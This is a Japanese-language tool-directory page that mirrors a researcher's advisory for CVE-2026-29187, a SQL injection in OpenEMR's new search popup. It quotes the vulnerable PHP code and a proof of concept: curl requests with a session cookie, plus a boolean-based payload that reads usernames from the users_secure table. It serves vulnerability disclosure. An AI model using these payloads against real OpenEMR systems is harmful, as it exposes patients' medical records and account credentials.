Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-29187_SqlInjectionVulnerabilityOpenEMR7.0.4 — CVE-2026-29187: OpenEMR <8.0.0.3 におけるSQLインジェクションの脆弱性 | Kitploit
ツール/GitHubGitHub/chrissub08/cve-2026-29187_sqlinjectionvulnerabilityopenemr7.0.4
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストデータベースセキュリティ
GitHubchrissub08/cve-2026-29187_sqlinjectionvulnerabilityopenemr7.0.4

CVE-2026-29187_SqlInjectionVulnerabilityOpenEMR7.0.4

CVE-2026-29187: OpenEMR <8.0.0.3 におけるSQLインジェクションの脆弱性

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
4ヶ月前未レビュー

CVE-2026-29187 - 新しい検索ポップアップにおけるSQLインジェクションの脆弱性

弱点 CWE-89

SQLコマンドで使用される特殊要素の不適切な無害化('SQLインジェクション') この製品は、上流コンポーネントからの外部の影響を受ける入力を使用してSQLコマンドの全部または一部を構築しますが、下流コンポーネントに送信される際に意図されたSQLコマンドを変更する可能性がある特殊要素を無害化しない、または誤って無害化します。ユーザーが制御可能な入力においてSQL構文の十分な削除または引用がない場合、生成されたSQLクエリは、それらの入力を通常のユーザーデータではなくSQLとして解釈させる可能性があります。詳細はMITREで確認してください。

概要

OpenEMR <8.0.0.3 には、認証された攻撃者によって悪用される可能性がある、新しい検索ポップアップにおけるSQLインジェクションの脆弱性が含まれています。この脆弱性は、新しい検索ポップアップ機能における不十分な入力検証に起因します。

詳細

この脆弱性は、新しい検索ポップアップ機能で発生します。ここでは、select relevance 列および where 条件におけるユーザー指定の入力が、適切なサニタイズなしにSQLクエリに直接連結されます。これにより、攻撃者は悪意のあるSQLコードを注入できます。

この脆弱性は以下の行に影響します:

  • interface/new/new_search_popup.php 141行目
  • interface/new/new_search_popup.php 134行目 および 136行目
  • interface/new/new_search_popup.php 125行目 および 128行目
root@kitploit:~
        foreach ($_REQUEST as $key => $value) {
            if (!str_starts_with((string) $key, 'mf_')) {
                continue; // "match field"
            }
            $fldname = substr((string) $key, 3);
            // pubpid requires special treatment.  Match on that is fatal.
            if ($fldname == 'pubpid') {
                $relevance .= " + 1000 * ( " . add_escape_custom($fldname) . " LIKE ? )";
                array_push($sqlBindArray, $value);
            } else {
                $relevance .= " + ( " . add_escape_custom($fldname) . " LIKE ? )";
                array_push($sqlBindArray, $value);
            }
            $where .= " OR " . add_escape_custom($fldname) . " LIKE ?";
            array_push($sqlBindArraySpecial, $value);
            echo "<input type='hidden' name='" . attr($key) . "' value='" . attr($value) . "' />\n";
            ++$numfields;
        }

        $sql = "SELECT *, ( $relevance ) AS relevance, " .
            "DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS " .
            "FROM patient_data WHERE $where " .
            "ORDER BY relevance DESC, lname, fname, mname " .
            "LIMIT " . escape_limit($fstart) . ", " . escape_limit($MAXSHOW) . "";

        $sqlBindArray = array_merge($sqlBindArray, $sqlBindArraySpecial);
        $rez = sqlStatement($sql, $sqlBindArray);
root@kitploit:~
SELECT *, ( 0 + ( <injection> LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR <injection> LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100

PoC

root@kitploit:~
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=5cb438753a9513cb01f5adc257ab474f" 'https://172.18.0.3/interface/new/new_search_popup.php?mf_"=test'           
<!DOCTYPE html>
<html>
<head>
    
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<link rel="shortcut icon" href="/public/images/logos/core/favicon/favicon.ico?t=1766556932" />

<link rel="stylesheet"  href="/public/themes/style_light.css?v=81" />

<script src="/public/assets/jquery/dist/jquery.min.js?v=81" type="text/javascript"></script>
<script src="/public/assets/bootstrap/dist/js/bootstrap.bundle.min.js?v=81" type="text/javascript"></script>
<script src="/library/js/utility.js?v=81" type="text/javascript"></script>
<script src="/interface/main/tabs/js/include_opener.js?v=81" type="text/javascript"></script>
<script src="/library/textformat.js?v=81" type="text/javascript"></script>
<script src="/library/dialog.js?v=81" type="text/javascript"></script>

<style>
  form {
    padding: 0;
    margin: 0;
  }

  #searchCriteria {
    text-align: center;
    width: 100%;
    font-size: 0.8rem;
    background-color: var(--gray300);
    font-weight: bold;
    padding: 3px;
  }

  #searchResultsHeader th {
    font-size: 0.7rem;
  }

  #searchResults {
    width: 100%;
    height: 80%;
    overflow: auto;
  }

  #searchResults table {
    width: 100%;
    border-collapse: collapse;
    background-color: var(--white);
  }

  #searchResults tr {
    cursor: pointer;
  }

  #searchResults td {
    font-size: 0.7rem;
    border-bottom: 1px solid var(--gray200);
  }

  .topResult {
    background-color: #ff9919;
  }

  .billing {
    color: var(--danger);
    font-weight: bold;
  }

  .highlight {
    background-color: var(--info);
    color: var(--white);
  }
</style>
</head>
<body class="body_top">
    <form method='post' action='new_search_popup.php' name='theform'>
        <input type="hidden" name="csrf_token_form" value="8d463d08b7f4e590085af22b77cfb2d3b921cb73" />
        <input type='hidden' name='fstart' value='0' />
        <input type='hidden' name='mf_&quot;' value='test' />
SQL Statement failed on preparation: SELECT *, ( 0 + ( \&quot; LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,&#039;%m/%d/%Y&#039;) as DOB_TS FROM patient_data WHERE 1 = 0 OR \&quot; LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: SELECT *, ( 0 + ( \" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR \" LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patien...' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/interface/new/new_search_popup.php at 141:sqlStatement                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=5cb438753a9513cb01f5adc257ab474f" 'http://172.18.0.3/interface/new/new_search_popup.php?mf_(SELECT(username)FROM(users_secure))=ad_in%'

┌──(kali㉿kali)-[~]
└─$ 

この脆弱性を悪用する方法は複数あります。その1つはブールベース攻撃であり、最後のペイロードを使用して機能します:

root@kitploit:~
SELECT *, ( 0 + ( (SELECT(username)FROM(users_secure)) LIKE "ad_in%" ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR (SELECT(username)FROM(users_secure)) LIKE "ad_in%" ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100

影響

  • データベース情報への不正アクセス
  • 機密性の高い医療情報の潜在的なデータ漏えい
  • サーバーサイドコード実行(一部のケース)
  • データベースの侵害

脆弱性修正プロセス

  1. 脆弱性を評価および検証する
  2. CVE IDを要求または割り当てる
  3. プライベートフォークまたはプライベートブランチを作成する
  4. 修正を開発する
  5. 回帰テストおよびセキュリティテストを作成する
  6. リリースノートとセキュリティアドバイザリのドラフトを準備する
  7. 修正を公開(コードマージ)し、パッチ適用済みバージョンをリリースする
  8. 脆弱性を公開開示する

クレジット

  • 研究者: Christophe SUBLET
  • 組織: Grenoble INP - Esisar, UGA
  • プロジェクト: CyberSkills, Orion
ツールをダウンロード